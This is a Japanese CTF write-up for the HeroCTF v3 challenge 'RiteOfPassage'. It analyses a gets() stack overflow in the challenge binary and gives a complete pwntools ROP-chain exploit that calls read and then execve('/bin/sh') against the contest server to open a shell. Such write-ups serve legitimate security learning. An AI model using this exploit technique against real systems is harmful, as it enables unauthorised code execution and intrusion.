heroctf v3
供養3。
RiteOfPassage
elfが一個渡される。 checksec
[*] '/home/test/heroctf/riteofpassage/RiteOfPassage' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
ghidraデコンパイルで次のようになった。
undefined8 main(void) { int iVar1; char local_178 [360]; int local_c; setbuf((FILE *)stdout,(char *)0x0); printf("Please, give us your thoughts about our client service :\n>>>"); gets(local_178); iVar1 = strlen(local_178); printf("I am now going to translate your sentence to computer"); while (local_c < iVar1) { printf("%02x",(ulong)(uint)(int)local_178[local_c]); local_c = local_c + 1; } puts("We actually don\'t care about what you think. Bye."); return 0; }
getsがバッファーオーバーフローを起こしている。 あとchecksecはカナリーありと出てるけどmainにカナリーが見当たらない。なぜかは知らない。
問題文がシェルコードわかってる?的な感じだったのでshellcode実行問題と当たりをつける。 rp++でガジェット一覧をみるとsyscallが用意されていたのでropで直接execする方針を立てる。
どこかに文字列'/bin/sh'と文字列の先頭を指すアドレスを置きたいので適当に読み書き可能かつ使われてなさそうなrandtbl(0x4af080)に置くことにした。
read(stdin, 0x4af080, size)
exec(0x4af080, 0x4af080+16, 0)
と呼んで最初のreadでshellcodeを入力する。
以下ソルバ
import pwn pop_rdi_ret_gadget = 0x00401a31 # pop rdi ; ret ; (158 found) pop_rsi_ret_gadget = 0x0040890e # pop rsi ; ret ; (38 found) pop_rdx_ret_gadget = 0x0040176f # pop rdx ; ret ; (1 found) xor_eax_eax_gadget = 0x004021c2 # xor eax, eax ; ret ; (84 found) add_eax_0x01_gadget = 0x00468b51 # add eax, 0x01 ; ret ; syscall_gadget = 0x004011fe # syscall ; (167 found) syscall_ret_gadget = 0x00415ab4 # syscall ; ret ; (8 found) buffer_addr = 0x4af080 # buffer addr binshell = pwn.p32(0x6e69622f) + pwn.p32(0x0068732f) + b'\x00' * 8 + pwn.p64(buffer_addr).ljust(8, b'\x00') + b'\x00' * 8 if len(binshell) != 32: raise payload = b'A' * 0x178 # padding #### Call Read #### payload += pwn.p64(pop_rdi_ret_gadget).ljust(8, b'\x00') payload += pwn.p64(0x0).ljust(8, b'\x00') payload += pwn.p64(pop_rsi_ret_gadget).ljust(8, b'\x00') payload += pwn.p64(buffer_addr).ljust(8, b'\x00') payload += pwn.p64(pop_rdx_ret_gadget).ljust(8, b'\x00') payload += pwn.p64(32).ljust(8, b'\x00') payload += pwn.p64(xor_eax_eax_gadget).ljust(8, b'\x00') payload += pwn.p64(syscall_ret_gadget).ljust(8, b'\x00') payload += pwn.p64(pop_rdi_ret_gadget).ljust(8, b'\x00') payload += pwn.p64(buffer_addr).ljust(8, b'\x00') payload += pwn.p64(pop_rsi_ret_gadget).ljust(8, b'\x00') payload += pwn.p64(buffer_addr+16).ljust(8, b'\x00') payload += pwn.p64(pop_rdx_ret_gadget).ljust(8, b'\x00') payload += pwn.p64(0).ljust(8, b'\x00') payload += pwn.p64(xor_eax_eax_gadget).ljust(8, b'\x00') for i in range(0x3b): payload += pwn.p64(add_eax_0x01_gadget).ljust(8, b'\x00') payload += pwn.p64(syscall_ret_gadget).ljust(8, b'\x00') #io = pwn.process("RiteOfPassage") io = pwn.remote('pwn.heroctf.fr', 9002) #pwn.gdb.attach(io) print(io.recvuntil('>>>')) io.sendline(payload) print(io.recvuntil('Bye.')) io.sendline(binshell) io.interactive()